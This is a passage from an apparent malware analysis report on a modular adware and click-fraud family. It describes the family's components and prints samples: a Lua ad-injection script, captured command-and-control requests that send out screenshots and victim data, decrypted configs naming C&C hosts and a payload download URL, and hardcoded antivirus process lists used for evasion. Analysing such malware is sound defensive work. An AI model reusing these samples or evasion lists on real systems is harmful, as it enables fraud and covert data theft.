| 000160h | 2E | 6A | 73 | 5C | 22 | 3E | 3C | 2F | 73 | 63 | 72 | 69 | 70 | 74 | 3E | 22 | 29 | 0A | 66 | 75 | 6E | 63 | 74 | 69 | 6F | 6E | 20 | 52 | 61 | 6E | 64 | 53 | .js\"></script>\"function RandS |
| 000180h | 63 | 72 | 6F | 6C | 6C | 28 | 69 | 64 | 29 | 0A | 20 | 20 | 53 | 65 | 6E | 64 | 4D | 6F | 75 | 73 | 65 | 4D | 6F | 76 | 65 | 42 | 72 | 6F | 77 | 73 | 65 | 72 | croll(id); SendMouseMoveBrowser |
| 0001A0h | 28 | 69 | 64 | 29 | 3B | 0A | 20 | 20 | 6C | 6F | 63 | 61 | 6C | 20 | 63 | 6F | 75 | 6E | 74 | 20 | 3D | 20 | 52 | 61 | 6E | 64 | 49 | 6E | 74 | 28 | 31 | 2C | (id); local count = RandInt(1, |
| 0001C0h | 20 | 31 | 29 | 3B | 0A | 20 | 20 | 53 | 6C | 65 | 65 | 70 | 28 | 52 | 61 | 6E | 64 | 49 | 6E | 74 | 28 | 31 | 2C | 20 | 31 | 29 | 29 | 3B | 0A | 20 | 20 | 66 | 1); Sleep(RandInt(1, 1)); f |
| 0001E0h | 6F | 72 | 20 | 69 | 20 | 3D | 20 | 63 | 6F | 75 | 6E | 74 | 2C | 20 | 31 | 2C | 20 | 31 | 20 | 64 | 6F | 0A | 20 | 20 | 20 | 53 | 65 | 6E | 64 | 4D | 64 | 4D | or i = count, 1, -1 do SendM |
| 000200h | 6F | 75 | 73 | 65 | 57 | 68 | 65 | 65 | 6C | 28 | 2D | 35 | 30 | 30 | 2C | 20 | 69 | 64 | 29 | 3B | 0A | 09 | 53 | 6C | 65 | 65 | 70 | 28 | 52 | 61 | 6E | 64 | ouseWheel(-500, id); Sleep(Rand |
| 000220h | 49 | 6E | 74 | 28 | 32 | 2C | 20 | 35 | 29 | 29 | 3B | 0A | 20 | 20 | 65 | 6E | 64 | 0A | 65 | 6E | 64 | 0A | 0A | 66 | 75 | 6E | 63 | 74 | 69 | 6F | 6E | 20 | Int(2, 5)); endendfunction |
| 000240h | 4D | 61 | 69 | 6E | 28 | 29 | 0A | 20 | 20 | 4F | 70 | 65 | 6E | 55 | 72 | 6C | 28 | 22 | 68 | 74 | 74 | 70 | 3A | 2F | 2F | 77 | 77 | 77 | 2E | 76 | 68 | 31 | Main() OpenUrl(\"http://www.vhl |
| 000260h | 2E | 63 | 6F | 6D | 2F | 6E | 65 | 77 | 73 | 2F | 32 | 39 | 36 | 30 | 35 | 31 | 2F | 73 | 74 | 65 | 76 | 69 | 65 | 2D | 6A | 2D | 74 | 65 | 6C | 6C | 73 | 2D | .com/news/296051/stevie-j-tells- |
| 000280h | 66 | 61 | 69 | 74 | 68 | 2D | 65 | 76 | 61 | 6E | 73 | 2D | 74 | 68 | 65 | 79 | 2D | 77 | 6F | 75 | 6C | 64 | 2D | 62 | 65 | 2D | 70 | 6F | 77 | 65 | 72 | 2D | faith-evans-they-would-be-power- |
| 0002A0h | 63 | 6F | 75 | 70 | 6C | 65 | 2F | 22 | 29 | 3B | 0A | 20 | 20 | 53 | 6C | 65 | 65 | 70 | 28 | 52 | 61 | 6E | 64 | 49 | 6E | 74 | 28 | 31 | 30 | 2C | 20 | 31 | couple/"); Sleep(RandInt(10, 1 |
| 0002C0h | 31 | 29 | 29 | 3B | 0A | 20 | 20 | 6C | 6F | 63 | 61 | 6C | 20 | 69 | 64 | 3D | 54 | 6F | 70 | 57 | 69 | 6E | 64 | 6F | 77 | 49 | 64 | 28 | 29 | 3B | 0A | 20 | 1)); local id=TopWindowId(); |
| 0002E0h | 20 | 52 | 61 | 6E | 64 | 53 | 63 | 72 | 6F | 6C | 6C | 28 | 69 | 64 | 29 | 3B | 0A | 20 | 20 | 53 | 6C | 65 | 65 | 70 | 28 | 52 | 61 | 6E | 64 | 49 | 6E | 74 | RandScroll(id); Sleep(RandInt |
| 000300h | 28 | 32 | 30 | 2C | 20 | 32 | 31 | 29 | 29 | 3B | 0A | 20 | 20 | 52 | 61 | 6E | 64 | 53 | 63 | 72 | 6F | 6C | 6C | 28 | 69 | 64 | 29 | 3B | 0A | 20 | 20 | 53 | (20, 21)); RandScroll(id); S |
| 000320h | 6C | 65 | 65 | 70 | 28 | 52 | 61 | 6E | 64 | 49 | 6E | 74 | 28 | 32 | 30 | 2C | 20 | 32 | 31 | 29 | 29 | 3B | 0A | 65 | 6E | 64 | 0A | 0A | 4D | 61 | 69 | 6E | leep(RandInt(20, 21)); endendMain |
| 000340h | 28 | 29 | 3B | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | ()); |
| 000360h | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | |



A new browser window is created with the desired configurations such as user agent, flash version and size. The Lua script present in the *customscript* field of the JSON is then executed using the Lua interpreter. An example of such a Lua script is:

```

InsertJs („<script type=\"text/javascript\" src=\"//www.eereader.com/ads6.js\"></script>“)

function RandScroll(id)

    SendMouseMoveBrowser(id);

    local count = RandInt(1, 1);

    Sleep(RandInt(1, 1));

    for i = count, 1, -1 do

        SendMouseWheel(-500, id);

        Sleep(RandInt(2, 5));

    end

end

function Main()

    OpenUrl („http://www.riverfallsjournal.com/sports/college/4169585-falcons-open-final-season-
karges-wins“);

    Sleep(RandInt(10, 11));

    local id=TopWindowId();

    RandScroll(id);

    Sleep(RandInt(20, 21));

    RandScroll(id);
    
```




```

Sleep (RandInt (20, 21) );
end

Main ();

```

The *InsertJs*, *SendMouseMoveBrowser*, *SendMouseWheel*, *RandInt*, *OpenUrl*, *TopWindowId* and *Sleep* functions are implemented natively and bound to Lua. The code above opens a URL and inserts a javascript in it. It waits 10 or 11 seconds then scrolls the page downwards every 20-25 seconds a couple of times. The javascript inserted displays a video ad.

Scrolling is implemented in all scripts we received from the C&C. Other scripts did not insert a javascript; instead they opened a URL with or without a referrer. Those that don't inject javascript usually point to an ad server such as <http://www.feisearch.com/to.php> or <http://www.searchingnetwork.com/to.php>, while the ones that do inject javascript in the page usually lead to legitimate websites.

The following functions are bound to Lua and can be used from the received scripts to control actions in the browser:


- **Reload, Stop, Back, Forward** – navigate through already-visited webpages
- **RandInt** – return a random integer between two numbers
- **Debug** – display a message for debugging purposes
- **InsertJs** – insert the specified javascript in the browser
- **SleepMS, Sleep** – sleep for a number of milliseconds or seconds
- **CurrentURL** – returns the current URL
- **SetCurrentDeviceHeightWithBar, SetCurrentDeviceHeightDValue** – used to change the size of the window
- **SendMouseClickAndMoveBrowserJs, SendMouseClickAndTouchJs, SendMouseClickAndMoveJs, SendMouseClickCenterJs, SendMouseClickJs, SendMouseMoveJs, SendMouseMove, SendMouseWheel, SendMouseMoveRect, SendMouseClickRect, SendMouseClick, SendMouseMoveBrowser, TouchScroll** – used to mimic mouse motion, scrolling and clicking
- **InputString** – mimic keyboard presses to input a string
- **ExecuteScriptAndReturnValue, ExecuteScript** – used to execute javascript
- **TopWindowId** – used to retrieve a handle to the top window of the browser
- **OpenString, OpenUrl, OpenUrlWithReferer** – used to navigate to an URL. The *OpenString* function can be used to inject JavaScript when loading a page.

The attacker can leverage those functions to perform any action on a website inside the custom browser.

Some of the pages are visited while impersonating a mobile device by changing the size and user agent parameters in the received JSON. For example, it uses the following user agent: *"Mozilla/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/55.0.2883.79 Mobile/14C5077b Safari/602.1"* to make it appear that an iPhone is visiting the webpage.



We were able to make the browser window visible and monitor its actions on the page. However, all of the video ads it was trying to display were no longer available.



Trying to display a missing video ad on a webpage. Screenshot taken after the page was scrolled by the malware.

Adware Killer

The component corresponds to **winscr.exe** file.

This component integrates the source code of two different open-source projects:

- Qt
- Zlib

The goal of this component is to:

- terminate and remove the files of the running processes, services and auto-run files that it receives as either file name list or MD5 hash list
- take screenshots of the victim's desktop and send them to the C&C
- report back to the C&C the file paths of applications set to run automatically at Windows startup and service list, depending on the received file name list.



```

55451716157e920eGET /api/qzki HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
Accept: */*
Connection: keep-alive
Accept-Language: zh-CN
Content-Type: image/jpeg
Accept-Encoding: gzip, deflate
Host: www.gpt9.com

HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Tue, 27 Mar 2018 06:02:42 GMT
Content-Type: text/javascript; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.16
Z_IP: 109.103.135.190
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache
Pragma: no-cache

3d0e9bc33ffc7d6209b60c9836f6427f4043f3a782bd17b2436f7d61f3867b46d04c29f9daac916540f2368853fdca6faa004371c49f1fb1088d7359eda5d5592a57537768e009c8
2d7e3a83ce8d17f1193fec98f62c0fc0088d7359eda5d559f10cd28db73d99fbf12d4fa5e7035c1571d787cc5410805918c8a2bcdbcab4bb681c0bb78a8f9e52f552750a6ee84641d
0a2dca3634125e838095951fa7ef6396abc5efbc2ac5edcd66b03b4df93989ccab3b10867859cd9e9f2607d001a8165acfcf757f0190e2309db6cfe7c7be73f3712742a47d62034
705b1b130fd97790aff44c60af28bc8ae73f6331d23c6f9aeb5f8b0a56665971eb5f8b0a56665971eb5f8b0a56665971bfe340e94430d9471d787cc541080591597039074b53fb2d

```

This API requests handle screenshot uploads and sending of additional information about the victims. The query string contains:

- **guid** – client unique id (located in registry at value „Liveup“ from *HKLM\SOFTWARE\Wow6432Node\Microsoft\Network\FileService*)
- **ver** – file version of the „*windowsmanagementservice*“ service
- **setuptime** – install time (located in registry at value „*install_time*“ from *HKLM\SOFTWARE\Wow6432Node\Microsoft\Network\FileService*)
- the following fields are set with „1“ if the process with the same name as the field's is running or „0“ if it's not:
 - *ct*
 - *dataup*
 - *cpx*
 - *svcvmx*
 - *qdcmsvc*
 - *szpsrv*
 - *spisrv*

| | | | | | | | | | | | | | |
|--------|-----------|-------------|-----------------|-----------------|----------------------|---------------------|---------------------|-------------------|----------------------|--------------|-----------------|--------------|--------------------|
| rddata | 0006A02C | 360tray.exe | a2service.exe | a2start.exe | 0d0percbshtop.exe | 0d0percbservice.exe | 0d0percbservice.exe | avastsvc.exe | avgprx.exe | avgvca.exe | avgwd- | | |
| rddata | 0006A0BB | xe | avgui.exe | avp.exe | bdagent.exe | bullguard.exe | cis.exe | CisTray.exe | duarkdesmon.exe | duengine.exe | equi.exe | eken.exe | FortiClientUirusCI |
| rddata | 0006A0B4E | eamer.exe | FDNServer.exe | PFPUitray.exe | fsgh32.exe | gdscan.exe | guardxkickoff.exe | guardxservice.exe | guardxservice_04.exe | iptray.exe | l3n | | |
| rddata | 0006A0B0F | q36n.exe | RTTSecurity.exe | RTTMain.exe | scallid.exe | scicore.exe | scimono.exe | scisync.exe | navisvc.exe | Novosoft.exe | Novosoft.exe | Novosoft.exe | Novosoft.exe |
| rddata | 0006A0C70 | bc.exe | bccontmon.exe | PSUMain.exe | PSUService.exe | QUHLPSUC.exe | SASCore.exe | sbentray.exe | SBSService.exe | SFC.exe | SntpService.exe | SapM | |
| rddata | 0006A0D01 | s | UI.exe | spideragent.exe | SUPERAntiSpyware.exe | twister.exe | tuzero.exe | wh32ldr.exe | whanTray.exe | whan.exe | MMRService.exe | svchost.exe | |
- **av** – a list of running antimalware processes. The antimalware process names are hardcoded in the binary file:

- **reg** – depending on which of its components are set in *HLKM\Software\Microsoft\Windows\CurrentVersion\Run* it will set this value:
 - 1 - *svcvmx*
 - 2 - *cpx*
 - 3 – both
 - *empty* if none of the above
- **autostart** – auto run files registered in *HLKM\Software\Microsoft\Windows\CurrentVersion\Run* and *HLKM\Software*



```

POST /api/lt?q= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
Accept: */*
Connection: keep-alive
Accept-Language: zh-CN
Content-Type: image/jpeg
Content-Length: 208
Accept-Encoding: gzip, deflate
Host: www.gpt9.com

e2a847a1ebe29f7d9de0c5e775db903c5b1e6e0eaece30acf914ccc1d6d11ec35e46304aff48503a1dee300855dfe92ec81cd3783d3fd2c1eeef1e215b7d83a5edc3e79797403e4685fb79aca19d6cdb91dcbc675ac19cf038aeccfc95c2e43403532d82cd7e

```

```

Decrypted request:
sppsuc.exe:"C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSUC.EXE"

```

AV Info Service

The component corresponds to **qdcmsvc.exe** file. This component is a simpler version of the **Adware Killer** with less functionality. It searches for AV processes, send information about other running adware components, checks *drmipro64*. The component can be started with the following commandline parameters:

install

Will install itself as **qdcmsvc** as a service in Registry. The service will be started with **/svc** parameter.

svc

Service Control Manager will start the process with this parameter (will register service handlers).

Dataup

The component corresponds to **dataup.exe** file. This component uses the following libraries to function:

- **help_dll.dll** – library which exports three functions:
 - **HelpDecrypt** – decrypt the provided string
 - **HelpEncrypt** – encrypt the provided string
 - **HelpGuid** – gets the client guid **Liveup** from **HKLM\Software\Microsoft\Network\FileService**
- **NTSVC.ocx** – it's a legitimate file used as event log message file

The Dataup component expects two parameters:

- **/i** – register the component as service with the name **"Dataup Service"** and description as **"Detect version consistency of client and server, and get the latest version from the server."**
- **/u** – remove its service



It makes two requests. The first one is to the “www.cdnoptim.com” C&C with the collected client and system information and - depending on the component’s file version - the data can be encrypted or not.

For example:

a)

```
GET /databack.php?
d0e7a9c3e3fc25597afdcf95eb90618ba6f71b30470a48539bceea9747a2c1400c34f992f22ed532697af2c5714666cac591c9d6489505e39d4579173431f3fd38973cbfed4af2f0
HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729;
Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: www.cdnoptim.com
Connection: Keep-Alive
```

Versions **1.2.0.2** and **1.3.0.3** encrypts the query string:

```
Decrypted request:
pn=GIGEL-PC&s=7200&x=0.8005792&guid=0B15001C-5DAF-4E45-9DEE-45EC7A75074C
```

Where:

- **pn** – pc name
- **s** – the “TEXT1” value data readed from *dataup.ini* file
- **x** – timestamp
- **guid** – retrieved by calling *HelpGuid*

b)

```
GET /databack.php?pn=GIGEL-PC&s=7200&x=0.939541 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729;
Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: www.jeegetube.com
Connection: Keep-Alive
```

Version 1.02.0002 sends unencrypted query string:

The second request depends on the component’s file version:

- Versions **1.2.0.2** and **1.3.0.3** makes requests to “www.58hex.com” C&C:

```
GET /databack.php?
d0e7a9c3e3fc25597afdcf95eb90618ba6f71b30470a48539bceea9747a2c1400c34f992f22ed532697af2c5714666cac591c9d6489505e39d4579173431f3fd38973cbfed4af2f0
HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729;
Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: www.58hex.com
Connection: Keep-Alive
```



- Version **1.02.0002** sends requests to "**www.jeegtube.com**" C&C:

```
GET /databack.php?f1=OK&x=0.206596 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: www.jeegtube.com
Connection: Keep-Alive
```

By the time of analyzing this component, the C&Cs had already been taken offline, so further analysis becomes impossible at this stage, given the circumstances. Furthermore, it seems that the newer version of this adware removed this behavior.

Regtool

The component corresponds to **regtool.exe** file.

Its purpose is to set the given components as command line in auto-run registry. It receives a list of "**-key=**" and "**-arg=**" as command line arguments. The *key* argument is the component's name and the *arg* is the component's executable argument. It is used by the script2 Lua script in order to install svcvmx and cpx components as auto-run executables. To build the component's path on of the paths will be used: "**%localappdata%\key\key.exe**", "**%programfiles%\key\key.exe**" or "**%programfiles(x86)%\key\key.exe**" in case of a 64bit operating system. The "*key*" is the "**-key=**" value argument. This path will be used as data for the auto-run registry value. Depending on the victim's user permissions, the components will be installed as auto-run in "**HKLM\Software\Microsoft\Windows\CurrentVersion\Run**" if the component is running with administrative permissions, otherwise they will be installed in "**HKCU\Software\Microsoft\Windows\CurrentVersion\Run**".

UAC Bypass

The component corresponds to **bypass.exe** file.

The file contains code from the Metasploit kit to obtain elevated rights. The code is taken from [the Metasploit Project's Github page](#)

Earlier Payload

The component corresponds to the **c1.exe** file.

This component is an earlier version of the **Master – Slave (svcvmx-vmxclient)** combo and is likewise used for silently rendering webpages in the background and interacting with them.

Instead of interacting with webpages from a Lua script, it achieves this by calling a set of handlers based on an XML file specified by the C&C server. Page rendering is achieved by creating an Internet Explorer ActiveX object inside a hidden window. Furthermore, it can terminate processes and services at the request of the attacker.



Its configuration is embedded in a resource named "ZIP". It is encrypted with a simple xor operation and after decryption, it reveals the following JSON (or at least what we received during the investigation):

```
{
  „domain“ : „http://tracking.downloadyee.com“,
  „taskinfo“ : „/entry/svc/task_info_bin2?“,
  „taskinfoparams“ : „mac=%s&os=%s&svcver=%s&ver=%d“,
  „crc“ : „&crc=%s“,
  „feedbackurl“ : „/entry/svc/fb?“,
  „feedbackparams“ : „state=ok&id=%s&mac=%s&cc=%d“,
  „cookieurl“ : „http://www.gamecool.info“,
  „processnames“ : [„explorer.exe“, „conhost.exe“, „taskmgr.exe“, „cmd.exe“]
}
```

This configures the malware to contact the C&C server from *domain* with parameters from *taskinfoparams*. An example of such a query is ***hxxp://tracking.downloadyee.com/entry/svc/task_info_bin2?mac=8D0B9B3EC99A91BDDFE8F67A27CF3447&os=x86|Win7|32&svcver=7&z=-120&first=0&latest=0&ver=2&crc=11971***,

where *mac* represents an MD5 derived from the adapter and storage information of the computer and is used as a unique ID, *os* is the operating system version, and the rest of the query is related to the malware version. The *crc* parameter represents the computed CRC value on the rest of the query.

The executable has three possible modes of operation based on command line arguments:

If it is started with *start2* as a command line argument, it checks all other arguments against the names of local running processes and terminates any found matches. It then proceeds to terminate processes with base path in the same directory as the malware and names from *processnames* configuration. It creates an identical copy of itself in the same directory it is located in for every name in *processnames*. It then attempts to stop two services named *kadefenader* and *wkadecfenader* if they are running and delete their files.


If started with *start* as a command line argument, it creates a new child process with *start2* as an argument instead of *start*; the rest of the arguments are left unchanged. This is the preferred way of starting the malware and it acts as a main process that spawns multiple webpage rendering subprocesses based on the data received from the C&C server.

The final mode of operation is *slave*. It has to be started with *-slave* as a command line argument. This mode requires another 5 arguments to work as intended. These arguments are listed in the intended order: a webpage to visit, an action selector, an integer value that represents the time in milliseconds to stay on the webpage, a flag and the number of times to visit the webpage. After the required number of milliseconds have elapsed, it spawns a new process with 10 seconds added to the visiting time and 1 subtracted from the number of times to visit.

It hides itself from the unsuspecting user by using the *ShowWindow* function from the Windows API to visually hide its window and muting the sound of the embedded browser by patching in memory the *DirectSoundCreate* function from *DSound.dll* and *waveOutWrite* from *winmm.dll*.



Since this is an older version, the C&C server is not functional at the time of writing this paper.



Browser window made visible.

Homepage

The component corresponds to **homepageoptimizer.exe** file.

This component has a GUI and reads a string (webpage). It will send a HTTP GET request to **hxxp://www.esttrk.com/api/** with an encrypted string containing a computer ID, and the entered url. An example string:

```
{"cid":"C218E1D3C9445A785447C4E9008C7191","ver":"1.0.1.1","url":"url.abc"}
```

The response should contain a file, but we were unable to validate this as the C&C server was already offline during the analysis.. The entered URL will be stored in Registry in **HKLM\System\CurrentControlSet\Control\Network\homepage**

This component comes with an uninstaller.

Report

The component corresponds to the **report.exe** file.

This component is started by another component with the **install** parameter. The purpose of this component is to report information about the victim back to the C&C.

Two requests are created by this component. For both request it uses "**Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36**" as user agent. Unfortunately the C&C is down.

The first request is sent to **hxxp://www.ttflb.com/report?s=%d&re=%d**. The parameters of the query string are:

- **s** - "1" if the operating system's architecture is 64bit, otherwise the value is "0"
- **re** - "1" if an antimalware process is found, "0" otherwise



| | | |
|-------------------|-----------------------|-----------|
| mbam.exe | mbamservice.exe | mtray.exe |
| Avira.Systray.exe | Avira.ServiceHost.exe | |

```
GET /report?s=0&re=1 HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Host: www.tftlb.com
```

The second request is sent to `hxxp://www.tftlb.com/report?s=%d&qu=%d&t=%d&c=%d`. The parameters from the query string are:

- **s** - "1" if the operating system's architecture is 64bit, otherwise the value is "0"
- **qu** - "1" if `ndistpr64.sys` is running, "0" otherwise
- **t** - process id of `tprdpw64.exe`, if the process is not running then the value of this field is "0"
- **c** - process id of `ct.exe`, if the process is not running then the value of this field is "0"

```
GET /report?s=0&cu=0&t=0&c=0 HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Host: www.tftlb.com
```

Some versions of this component have an additional "v" parameter, for both requests, which represents the version of the binary.

Component Updater

The component corresponds to the `splsrv.exe` file.

This component receives 3 parameters:

- **interval** – update interval
- **version** – application version
- **ip** – IP of C&C

It is started by an old Lua script used by an old ct2 component. One of these samples starts this component with the following parameters:

```
"-ip="173.192.16.184" -interval=3600 -version="2.0.18.1"
```

After execution, it creates a mutex called `Global\splsrv`. A request is made to retrieve a JSON list of antimalware process names and their product names. This list will be used later to inform the C&C about the running antimalware processes on the victim's computer.

```
GET /interface/queryAvs HTTP/1.1
Host: 173.192.16.184
Accept: */*
```

```
HTTP/1.1 200 OK
Server: openresty/1.9.7.3
Date: Tue, 17 Apr 2018 10:04:44 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Power-By: Vanilla-0.1.0-rc4
```

```
871ef2988acc0dde0e3bddfaab447278169ae537813dd138988d14c27e96cc0a4cb5966183c7017b1baa1aeda0d423942338d272ec16e97d65309fd89d16a258ed
57c351878e86b5d9fe43be502efb35059ce2531f24213551c841f352b1b1e9f4f8055d88e8e826d434ccd6bfabc0414f4127b71267310d3828e371b6c02ebb47bd069
d86bee25fa743ee8d0af28379dc9e13e6c0b3a63fcb4f7f2f9dd0bc12ab2d0208f4fdd3930196873a3d46adb907299710e50283b77fa00a131403b28c25e8e3762bf4ef
h454h7-hae-000h381570017f346f5ah87801e400f4f37ae-48f5c1304e37d5645e6c-3878ah41f0h08-e3d7-4f37ae-48f5c1304066a03h8606507f5a0478-66f47c
```

```
Decrypted response:
{"COMODO Internet Security","bullguard":"BullGuard","bdagent":"BitDefender","pcentmon":"Trend Micro Internet Security","3
60tray":"","PSUService":"Panda CommandLine","avgsvx":"AVG Free","Esgk32":"P-Secure Internet Security","mssecs":"MS Security Essen
tials","FortiClientVirusCleaner":"FortiClient","gdscan":"G Data","OPSSUC":"Quick Heal Antivirus","avguard":"AntiVir (Avira)","ekrn
":"ESET NOD32","nanosv":"NANO Antivirus","spideragent":"Dr.Web","FPAUServer":"F-PROT Antivirus","nanosvc":"NANO Antivirus","uba32ldr
":"UBA32 Antivirus","iptray":"Clam Antivirus","a2start":"A-Squared","guardxservice_x64":"IKARUS Security","egui":"ESET NOD32","Norm
an_Malware_Cleaner":"Norman","AdAwareDesktop":"Ad-Aware","K7ISecurity":"K7 Ultimate","twister":"Twister Antivirus","SUPERAntiSpywar
e":"SUPERAntiSpyware","Sophos UI":"Sophos","avastsvc":"Avast","guardxservice":"IKARUS Security","sfc":"Clam Antivirus","cis":"COMOD
O Internet Security","SDSService":"Sophos","avp":"Kaspersky Antivirus","SASCore":"SUPERAntiSpyware","twssrv":"Twister Antivirus","F
SUAMain":"Panda CommandLine","Shamtray":"UIPRE","K7SysMon":"K7 Ultimate","avgsvx":"AVG Free","FProTTray":"F-PROT Antivirus","a2sen
vice":"A-Squared","AdAwareService":"Ad-Aware","SntpService":"Sophos","mcshield":"McAfee","guardxkickoff":"IKARUS Security","dwarekda
emon":"Dr.Web","QUHLPSUC":"Quick Heal Antivirus","K7ISMain":"K7 Ultimate","dvengine":"Dr.Web","avguix":"AVG Free","navavsvc":"Norto
n Antivirus","AdAwareTray":"Ad-Aware">
```

A new thread is created which is responsible for downloading and updating the components and continuously reporting to the C&C.

The first request made in the new thread is used to inform the C&C panel that this component is running and is checking for new updates.

```
GET /api/cpx?
q=0d66EA76d67856B671C908B0408688DFDBD07B450FE983F289489DBF5D38E2E4E3CCFD526DD4C746F32A565368DD139E38A5ED7A8EB7C869367D8117F3C41DEC4C06E2
578048AE78FFCCA90DAE1B3C7266325E16144D0654C07A5323086A268C8B418A7041B41F81B76DD2F4FA45D8FDDEA778B7A798C83366C1AB323A3658490798D01A9D8D49
C3EC709DD422C63A0238D1DF2F14750F42C987754CA3D49AE1967A4957F145AA7DAC77D09C9B648C809025477DA1902F194FCD39A60FA161199A8B1F32155C1FBC584E1
120440111F62C1AEA618248F9DFD337D8260B27D87056889A9890C6FAEE126E7A6321E33978FA540373ED00427001807951C5A4267C0CF899E2F0023385395159884C2D68
2C8731E5486400AAB9CEFFAA75BE6EACACCF6363588AF7 HTTP/1.1
Host: gpt9.com
Accept: */*
```

```
HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Tue, 17 Apr 2018 10:04:45 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.16
Z_IP: 109.103.135.190
```

```
ok
```

```
Decrypted request:
guid=E23A3BE8-5750-4215-A280-DB774CD41113&time=1523959730&utc=2&mac=000027756e6e&os=Microsoft Windows 7, 32bit&cpu=Intel(R) Core(TM)
i7-4790 CPU @ 3.60GHz, 3592, x86 Family 6 Model 60 Stepping 3, GenuineIntel&memory=2047&language=en&country=US&screen=1920*1095&h
it=32&version=2.0.18.1&type=2
```

The second request downloads a JSON string that contains information about the components needed to be downloaded.

```
792f00d23c909e3e7719GET /report?
0d66EA76d67856B671C908B0408688DFDBD07B450FE983F289489DBF5D38E2E4E3CCFD526DD4C746F32A565368DD139E38A5ED7A8EB7C869367D8117F3C41DEC4C06E257804
8AE78FFCCA90DAE1B3C7266325E16144D0654C07A5323086A268C8B418A7041B41F81B76DD2F4FA45D8FDDEA778B7A798C83366C1AB323A3658490798D01A9D8D49C3EC709D
D422C63A0238D1DF2F14750F42C987754CA3D49AE1967A4957F145AA7DAC77D09C9B648C809025477DA1902F194FCD39A60FA161199A8B1F32155C1FBC584E1120440111F62
C1AEA618248F9DFD337D8260B27D87056889A9890C6FAEE126E7A6321E33978FA540373ED00427001807951C5A4267C0CF899E2F0023385395159884C2D682C8731E5486400
AAB9CEFFAA75BE6EACACCF6363588AF7 HTTP/1.1
Host: 173.192.16.184
Accept: */*
```

```
HTTP/1.1 200 OK
Server: openresty/1.9.7.3
Date: Tue, 17 Apr 2018 10:04:45 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Power-By: Vanilla-0.1.0-rc4
```

```
bfb768c9c7a7fff3c327e58d1cab6591b2a0ba8e2680511e0d3867d310a678a6aefe520cf09c342ef9276992df23e738f3c515f729a5c1858985bdac0564633fc65af9c9703a
d411ddeb721e73afcf69bc2ea814c0fea5c2b58835453dba6f409301f8c0230fe5c6c64a290783ff624f72734e163d415586cd42723a046f0a34d52cdced8f74168d49
983ec4589132e637ea3f41b7181de885fc32561226729642e919f298e54d56f072393b55fec070519d0c6c8d
```



```
Decrypted request:
guid=E23A38E8-5750-4215-A280-DB774CD41113&time=1523959730&utc=2&mac=0800277566e&os=Microsoft Windows 7, 32bit&cpu=Intel(R) Core(TM)
i7-4790 CPU @ 3.60GHz, 3592, x86 Family 6 Model 60 Stepping 3, GenuineIntel&memory=2047&language=en&country-US&screen=1920*1095&bb
it=32&version=2.0.18.1&type=2

Decrypted response:
[{"parameters":{"startup","always_run":true,"version":"1.0.1.8","password":"a123456","app":"app153","service":"","name":"svcvmx","ur
l":"http://174.37.56.249/p2/svcvmx.zip"}]
```

The third request is used to report back to C&C the running antimalware processes, as well as the name of the adware component needed to be downloaded or updated. This request is made for every component in the JSON array object.

```
8dGET /interface/queryDetects?B6FB118771F4C3E7994D8D24F2F31D83B65518C4CC0E745A9BB0AC44EDF82676 HTTP/1.1
Host: 173.192.16.184
Accept: */*

HTTP/1.1 200 OK
Server: openresty/1.9.7.3
Date: Wed, 25 Apr 2018 07:54:05 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
